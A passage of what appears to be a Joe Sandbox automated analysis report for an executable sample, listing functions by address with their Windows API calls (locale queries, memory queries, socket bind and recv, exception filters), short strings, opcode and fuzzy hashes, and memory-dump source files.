Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strlen$EnumLocalesSystem
String ID:
API String ID: 2581538701-0
Opcode ID: a516027a5dea26d4d3aed0b70c35799c8bea50a4f936aefafe38f625804ed68c
Instruction ID: fb5f48a2cbe7d67c7db75a5894104252e02d56561e96ab4636853aac3f066918
Opcode Fuzzy Hash: a516027a5dea26d4d3aed0b70c35799c8bea50a4f936aefafe38f625804ed68c
Instruction Fuzzy Hash: D0F03CB1963209ABDB00DF79ED097A93791EF45358F10253FE401922B0EB78448A9A4C

Function 00403110 Relevance: 4.5, APIs: 3, Instructions: 34threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00403116
GetLocaleInfoA.KERNEL32(00000000,00001004,00000007,00000007), ref: 00403129
GetACP.KERNEL32 ref: 00403155

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Locale$InfoThread
String ID:
API String ID: 4232894706-0
Opcode ID: 8664cb59ba7dd997e7ec635e24899ba18fa4a6943adce1086579f5772061201b
Instruction ID: 15f08a42cf2b5940c6f0b721473c36998a81a7469e84b03b15026ae6cb722c36
Opcode Fuzzy Hash: 8664cb59ba7dd997e7ec635e24899ba18fa4a6943adce1086579f5772061201b
Instruction Fuzzy Hash: CAF0E931604220D6DF219F24AC455EB7F5C5F09B42F8401A9EACAAB251D634590A86B9

Function 0040B0C2 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 498COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040B0C7

Strings

4, xrefs: 0040B52F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID: 4
API String ID: 3519838083-4088798008
Opcode ID: 2a402ee6093a1f231630366a0ea499d196e2c672021f333dde40dd36f29b98d4
Instruction ID: 1099801c6d59d6ab35e296634a9bdd09ab04172776f0fa68687a2a885db39c20
Opcode Fuzzy Hash: 2a402ee6093a1f231630366a0ea499d196e2c672021f333dde40dd36f29b98d4
Instruction Fuzzy Hash: 77129671D00204EFDF15CF94D884AAEBBB1EF44318F2581AAE415BB2A2C779DD41CB99

Function 022687D0 Relevance: 3.9, Strings: 3, Instructions: 164COMMON

Download Yara Rule

Strings

6g4, xrefs: 0226891E
Ei, xrefs: 0226888D
6g4, xrefs: 022689C8

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: 6g4$6g4$Ei
API String ID: 0-2833161213
Opcode ID: 3ce074814773b661dacfec80cdc05c47e97d68e11ebfad48cf5969c9a9068b25
Instruction ID: bf408b690e351b1ef521a613183277e367b83521dc0a4d97bc5bef980b2bec28
Opcode Fuzzy Hash: 3ce074814773b661dacfec80cdc05c47e97d68e11ebfad48cf5969c9a9068b25
Instruction Fuzzy Hash: AA513867B203469BD624EAE9549CB7F3396EB84704F100829F905DB34CEB60CCC987A3

Function 004186CD Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?), ref: 0041870B
_strncpy.LIBCMT ref: 0041879B

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoLocale_strncpy
String ID:
API String ID: 4025304676-0
Opcode ID: b81cfc970942e590f9552f47c2fe66bae61e9c19264fe2e5c6a06333c67db21d
Instruction ID: 92cad649ed57d9c4f7dea730e5b7efee1a6dc58236eb6692d72a71016bd40668
Opcode Fuzzy Hash: b81cfc970942e590f9552f47c2fe66bae61e9c19264fe2e5c6a06333c67db21d
Instruction Fuzzy Hash: 31212B322005079BDB1C4A38DE899FB7758E755304B38603FD426CA2E1EF69DEC6866D

Function 0041B4A6 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
Part of subcall function 0040E573: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4

GetLocaleInfoW.KERNEL32(00000001,?,?,00000000,?,?,00000001), ref: 0041B4DC
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,?,?,00000000,00000000,?,00000000,?,?,00000001), ref: 0041B4FE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoQueryVirtual$ByteCharLocaleMultiSystemWide
String ID:
API String ID: 2568233206-0
Opcode ID: 12c108d4cf4779910e3e8eab57d113375ac80130591dbd4aa47fa84aaa01938e
Instruction ID: f2541622a74e1565f35248a83cc35edda1dbb6fbaba1c69752cffed1fcd397c2
Opcode Fuzzy Hash: 12c108d4cf4779910e3e8eab57d113375ac80130591dbd4aa47fa84aaa01938e
Instruction Fuzzy Hash: E2017131801125FBCF219FA6DC498EF7B79EF49764F10812AF82467192CB384D91CAE8

Function 0041B37F Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040E58D
Part of subcall function 0040E573: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0040E59E
Part of subcall function 0040E573: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0040E5E4

GetLocaleInfoA.KERNEL32(00000001,?,?,?,?,?,00000001), ref: 0041B3B2
MultiByteToWideChar.KERNEL32(?,00000001,?,000000FF,?,?,?,?,?,?,00000001), ref: 0041B3D2

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoQueryVirtual$ByteCharLocaleMultiSystemWide
String ID:
API String ID: 2568233206-0
Opcode ID: d121f047767f915310f9b31e13b0e5c52d9dcba8b29d3aca7a8fce54d4a2d6b3
Instruction ID: 9064a4a59ad4b1b20ef4efccbf4baa795ced3658d65e74ed24f9717ec6d81bd5
Opcode Fuzzy Hash: d121f047767f915310f9b31e13b0e5c52d9dcba8b29d3aca7a8fce54d4a2d6b3
Instruction Fuzzy Hash: 0B01713180012DEACF229FA5DC458DF7A74EF44364B20422AF835721A0E7384DA19AD8

Function 00418CA9 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418CAF
EnumSystemLocalesA.KERNEL32(00418B21,00000001,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418CE7

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: EnumLocalesSystem_strlen
String ID:
API String ID: 216762292-0
Opcode ID: e8acc64a1fcf76389094a5e509139040113b4b809680789caccdee514f4113e7
Instruction ID: e0b88c76b9a82806ba836f94aaffd3c9a494c367a0a9de59a6ec4d7828753495
Opcode Fuzzy Hash: e8acc64a1fcf76389094a5e509139040113b4b809680789caccdee514f4113e7
Instruction Fuzzy Hash: FEE01AF1E57205AAD7009F25ED46BA53B91EF00744F50617FE511821F1EA78458ACB9C

Function 00403186 Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00403192
InterlockedExchange.KERNEL32(0043B13C,Function_00003110), ref: 004031B6

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ExchangeInterlockedVersion
String ID:
API String ID: 2700998522-0
Opcode ID: fa637219dcb6ddefd1dc1d55d5a327db195db7b17277ef8bb2a0d14e08055a6d
Instruction ID: 3a7e4525dc7a34d43c83ccbe12fd313a321d05de6078f0345b72363439ac9122
Opcode Fuzzy Hash: fa637219dcb6ddefd1dc1d55d5a327db195db7b17277ef8bb2a0d14e08055a6d
Instruction Fuzzy Hash: 72E0EC30204300DFD7209F54D909A1A7AADFB4D306F80887AF18A95291D7384A09CA9E

Function 00418BEC Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00418BF2
EnumSystemLocalesA.KERNEL32(00418802,00000001,?,0043C8F0,00415C9D,?,0043F8E8,?), ref: 00418C0C

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: EnumLocalesSystem_strlen
String ID:
API String ID: 216762292-0
Opcode ID: af7db56d72ed45a790bc46703473d5ea6f920e1862c7ba19386442c6a8e6d391
Instruction ID: ab2b32ddf79db2692935bc03276d87ced33d4c672e83320b00fb7b34fae71ec8
Opcode Fuzzy Hash: af7db56d72ed45a790bc46703473d5ea6f920e1862c7ba19386442c6a8e6d391
Instruction Fuzzy Hash: 8DD05EF0E212056AE7009F32EC0A7A03B91FF10B18F80693AD840C10F0C7B905498F0C

Function 02263F20 Relevance: 2.6, Strings: 2, Instructions: 96COMMON

Download Yara Rule

Strings

dD, xrefs: 02263F50
UI, xrefs: 0226402E

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$dD
API String ID: 0-2678678791
Opcode ID: 5b0b6e09fcfe7a652f9b1521d2d76371d588ae290acbf1882c862c8981155b4e
Instruction ID: 6f52b354575d9084c7a4023e886d2dbd8dcaf998273635de255599546392f3d8
Opcode Fuzzy Hash: 5b0b6e09fcfe7a652f9b1521d2d76371d588ae290acbf1882c862c8981155b4e
Instruction Fuzzy Hash: A941F2B65083838BD394CF24E54A51BBBF0FB90724F440E5DE4A1962A4D3B5DA4DCB93

Function 021C5ABE Relevance: 2.6, Strings: 2, Instructions: 96COMMON

Download Yara Rule

Strings

UI, xrefs: 021C5BCC
dD, xrefs: 021C5AEE

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$dD
API String ID: 0-2678678791
Opcode ID: 5b0b6e09fcfe7a652f9b1521d2d76371d588ae290acbf1882c862c8981155b4e
Instruction ID: 3e12829f2cb7aff65b3fd4a5f92a301cd08870b8b818d65b0cb3f88d336d3106
Opcode Fuzzy Hash: 5b0b6e09fcfe7a652f9b1521d2d76371d588ae290acbf1882c862c8981155b4e
Instruction Fuzzy Hash: 3341F2B65083879BD354CF28D54651BBBF0FB90724F440E1DE4A1A62A0D3B8DA4DCB93

Function 02263D10 Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

UI, xrefs: 02263DEE
dD, xrefs: 02263D1D

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$dD
API String ID: 0-2678678791
Opcode ID: 82085eb77aa1e6d6502ea5e6256e2cd79fe0ef0b357a1ba66029e8c86d29f621
Instruction ID: 007ac94e162897d134f6faa9c9467b0719cd48d219ea796b740da29f59fe1021
Opcode Fuzzy Hash: 82085eb77aa1e6d6502ea5e6256e2cd79fe0ef0b357a1ba66029e8c86d29f621
Instruction Fuzzy Hash: A231B1B2508342AFD3849E2AC54612EBBF0BB90724F45CD5DE0E9861A4D3B88985CF42

Function 021C58AE Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

UI, xrefs: 021C598C
dD, xrefs: 021C58BB

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$dD
API String ID: 0-2678678791
Opcode ID: 82085eb77aa1e6d6502ea5e6256e2cd79fe0ef0b357a1ba66029e8c86d29f621
Instruction ID: c1e5e63c765a47ddbc6c602fc2ab28a7b4c9255d5bb7fb0b5cf5838d50223e31
Opcode Fuzzy Hash: 82085eb77aa1e6d6502ea5e6256e2cd79fe0ef0b357a1ba66029e8c86d29f621
Instruction Fuzzy Hash: 7A31C1B6508342AFD3849E2AC54611FFBF0BB90724F45CD5DE0E9961A0D3B88989CF43

Function 02263BA0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

UI, xrefs: 02263C09
UI, xrefs: 02263C91

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$UI
API String ID: 0-658841096
Opcode ID: 8fb8486042db03a29a3c642504b4275772910a8ab76727c30505b2b065e064e3
Instruction ID: 990d12f970d8bf97d0cfe27fe29172c6b0c6bf5e3a947797f7a6073be5ba8644
Opcode Fuzzy Hash: 8fb8486042db03a29a3c642504b4275772910a8ab76727c30505b2b065e064e3
Instruction Fuzzy Hash: 9631D0B6509342AFD394CE29C64A61FBBF0BB84B24F44CD5DE4E9921A4D3788909DF43

Function 021C573E Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

UI, xrefs: 021C582F
UI, xrefs: 021C57A7

Memory Dump Source

Source File: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21c0000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: UI$UI
API String ID: 0-658841096
Opcode ID: 8fb8486042db03a29a3c642504b4275772910a8ab76727c30505b2b065e064e3
Instruction ID: 5fcc4380fb13b0623dd06b499120913ce438d0d84127ac438cb1bf7d40be6382
Opcode Fuzzy Hash: 8fb8486042db03a29a3c642504b4275772910a8ab76727c30505b2b065e064e3
Instruction Fuzzy Hash: CA31EFB5509341AFD394CE2AC64A20FBBF0BB94B24F44CD5DE4E9921A4D3788909DF43

Function 004231F4 Relevance: 1.9, APIs: 1, Instructions: 440COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004231F9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f893e32024cc97c0f11b1f3e2839eed4c28d1c5f41f0bfa770a2e77184df27b5
Instruction ID: 901a5aa9de5700cd8805fd74d03597dde3c1393465a7cb497cc3f3327d4adc24
Opcode Fuzzy Hash: f893e32024cc97c0f11b1f3e2839eed4c28d1c5f41f0bfa770a2e77184df27b5
Instruction Fuzzy Hash: 43E16C70700229FFDB14DF55E880ABE77B9AF08305F90855AF809DA251CB3DEA11DB69

Function 004176FA Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,00000100,00000006,00000100,?,00000000), ref: 0041771A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f76e3b4d4471f4c66b76ce8a93458748984b06eba2c9d6b0da996760908f6c6f
Instruction ID: cda65a7a198a35491f7c29b90344dcb8de6f19e36f368a6941582af77952f65c
Opcode Fuzzy Hash: f76e3b4d4471f4c66b76ce8a93458748984b06eba2c9d6b0da996760908f6c6f
Instruction Fuzzy Hash: 2BE0D831E04208FBDB10EBE5E841FDD7BB86B04358F1002B6F621E62D0E77496808B9D

Function 0040422C Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,00000002,00000002), ref: 00404237

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: 357a37a49d7c55f24a8612a1d8d1b8f9ae8685624b5926de1135be1f1f2c08a2
Instruction ID: 563b0403b3f79a615a8ae29b8206f48719e22b9d3b9c145db1e4d11a6d396cae
Opcode Fuzzy Hash: 357a37a49d7c55f24a8612a1d8d1b8f9ae8685624b5926de1135be1f1f2c08a2
Instruction Fuzzy Hash: A9C04C3A214101BBCB151B74DC4588EBE61AF59365B64C62DF166C40F1D732C4B2EF01

Function 0042BEDB Relevance: 1.5, APIs: 1, Instructions: 6networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 0042BEEA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 19bdaf471ee6dafd773427f37cb1505c1f221814ee7f410de8433d3b8c05ccbf
Instruction ID: ec6d93857c044c47258bb710b424fe056a3bdafe9e50abbb2a23464235fe1066
Opcode Fuzzy Hash: 19bdaf471ee6dafd773427f37cb1505c1f221814ee7f410de8433d3b8c05ccbf
Instruction Fuzzy Hash: 0CC0483A008200FFCA024F80CD04C0ABFA2AB98324F04C818B2A80003083338022EF12

Function 0041214A Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000120FC), ref: 0041214F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 77bad9887b666e86859ec61eac98c859dba75a19735e22f03c7f00950bc51da9
Instruction ID: 1ef7eac5f3493147800b58c48d8e3c71f82a7f330468b2e38a083a892f4386fa
Opcode Fuzzy Hash: 77bad9887b666e86859ec61eac98c859dba75a19735e22f03c7f00950bc51da9
Instruction Fuzzy Hash: 92A01270641300874300CF305D06600395072043013609832E401C1120D6B00086D608

Function 0041215E Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00412163

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
